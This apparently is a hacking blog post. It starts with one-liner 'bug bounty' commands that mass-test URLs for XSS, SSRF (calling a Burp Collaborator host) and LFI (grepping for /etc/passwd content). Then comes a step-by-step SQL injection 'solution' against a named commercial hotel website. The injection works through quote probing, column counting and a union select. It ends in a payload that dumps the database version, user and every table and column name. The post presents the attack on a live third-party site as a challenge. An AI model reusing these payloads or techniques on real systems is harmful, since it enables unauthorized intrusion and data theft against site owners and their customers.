Bug BOunty Helpful Commands

  cat file.txt | gf xss | grep ‘source=’ | qsreplace ‘”><script>confirm(1)</script>’ | while read host do ; do curl –silent –path-as-is –insecure “$host” | grep -qs “<script>confirm(1)” && echo “$host 33[0;31mVulnerablen”;done >>. to get urls from websites.... waybackurls target.com | tee urlss.txt dalfox file urlss.txt pipe   XSS   cat file.txt | gf xss | grep ‘source=’ | qsreplace ‘”><script>confirm(1)</script>’ | while read host do ; do curl –silent –path-as-is –insecure “$host” | grep -qs “<script>confirm(1)” && echo “$host 33[0;31mVulnerablen”;done SSRF findomain -t example.com -q | httpx -silent -threads 1000 | gau |  grep “=” | qsreplace http://YOUR.burpcollaborator.net LFI Follow this command to find LFI findomain -t example.com -q |  waybackurls |gf lfi | qsreplace FUZZ | while read url ; do ffuf -u $url -mr “root:x” -w ~/wordlist/LFI.txt ; done find JS files on target.com https:/...

SQLi-3 Solution

 








My solution for  {challenge -1}

Level :: normal

Site>> https://www.direct-seychelles(.)com/v02/fr/hotels_FicheR-tarifs.php?id=312

................................................................................. 

https://www.direct-seychelles(.)com/v02/fr/hotels_FicheR-tarifs.php?id=312'

Some content of this site is mmissing when added (').

................................................................................

Let's Count The Number Of Colum.

https://www.direct-seychelles(.)com/v02/fr/hotels_FicheR-tarifs.php?id=312' order by 100-- - ❌

https://www.direct-seychelles(.)com/v02/fr/hotels_FicheR-tarifs.php?id=312' order by 1-- - ❌

Same result.

................................................................................

Ok we when add an (@) befor the parameter value, we can see some content of this site is change.

https://www.direct-seychelles(.)com/v02/fr/hotels_FicheR-tarifs.php?id=@312' order by 100-- - ❌

https://www.direct-seychelles.com/.../hotels_FicheR...' order by 2-- - ✔

Column count is 2.

.............................................................................

https://www.direct-seychelles(.)com/v02/fr/hotels_FicheR-tarifs.php?id=312' union select 1,2--+-

Done now you can inject your payload in column 1.

.............................................................................

https://www.direct-seychelles(.)com/v02/fr/hotels_FicheR-tarifs.php?id=312' union select LPAD(concat(%27..Name%20::Smap-Xpo%27,0x203a3a20,0x2e,%27%3Cbr%3E%27,%27..Version%20::%20%27,version(),0x3c62723e,%27..Database%20::%20%27,database(),0x3c62723e,%27..User%20::%27,user(),0x2e,%27%3Cbr%3E%27,(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=concat+(@x,0x3c62723e,table_schema,0x203a20,table_name,0x203a20,column_name))))x)),10000,0x00),2--+-


Comments

Popular posts from this blog

Very Huge Dorks for SQLi || Web Hacking

How to find index of the Array in C